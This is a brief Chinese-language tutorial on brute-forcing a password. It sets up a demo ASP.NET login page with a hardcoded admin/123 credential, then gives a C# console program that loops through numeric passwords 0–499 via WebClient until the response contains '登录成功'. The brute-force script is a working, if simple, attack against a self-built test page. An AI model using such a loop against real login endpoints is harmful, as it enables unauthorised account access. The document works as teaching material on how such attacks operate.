利用穷举密码的破解原理
①.创建一个“被攻击网站”的登录页面:DeFault.aspx
提交按钮的引发事件:
protected void Button1_Click(object sender, EventArgs e) { if (TextBox1.Text == "admin" && TextBox2.Text == "123") { Response.Write("登录成功"); } else { Response.Write ("登录失败"); } }
②.创建一个控制台应用程序:名为“破解DeFault”
static void Main(string[] args) { WebClient wc = new WebClient(); //创建WebClient类型对象,用于向 URL标识的资源 发送数据。 wc.Encoding = Encoding.UTF8; for (int i = 0; i < 500; i++) //通过for循环依次从0到500提交密码,当“被攻击”的网页出现“登录成功”的字符串时的 i 值就是正确的密码! { string s = wc.DownloadString("<资源地址>"); //这里的<资源地址> 是指包含提交信息的URL(可通过IE的bebugbar查取),其中将密码文本框的Text设置为:TextBox2.Text=“+ i +”。 if(s.Contains("登录成功")) { Console.WriteLine("找到密码了"+i); } } Console.ReadKey(); }
WebClient类:将数据发送到URI标识的资源及从此资源接收数据的常用方法。
该类的DownloadString(string address)属性:以string形式下载请求的资源、指定要下载的资源。在这里应注意:这方法会先将数据以byte[]形式下载,再根据byte[]猜测数据的编码后再编译成字符串,猜测猜错了就会出现乱码,所以最好手动用相应的Encoding编码。
DebugBar是功能强的IE插件,从各个不同的角度剖析Web页面内部的细节层面.
官方下载:http://www.debugbar.com/download.php
③调试“破解DeFault”就可获得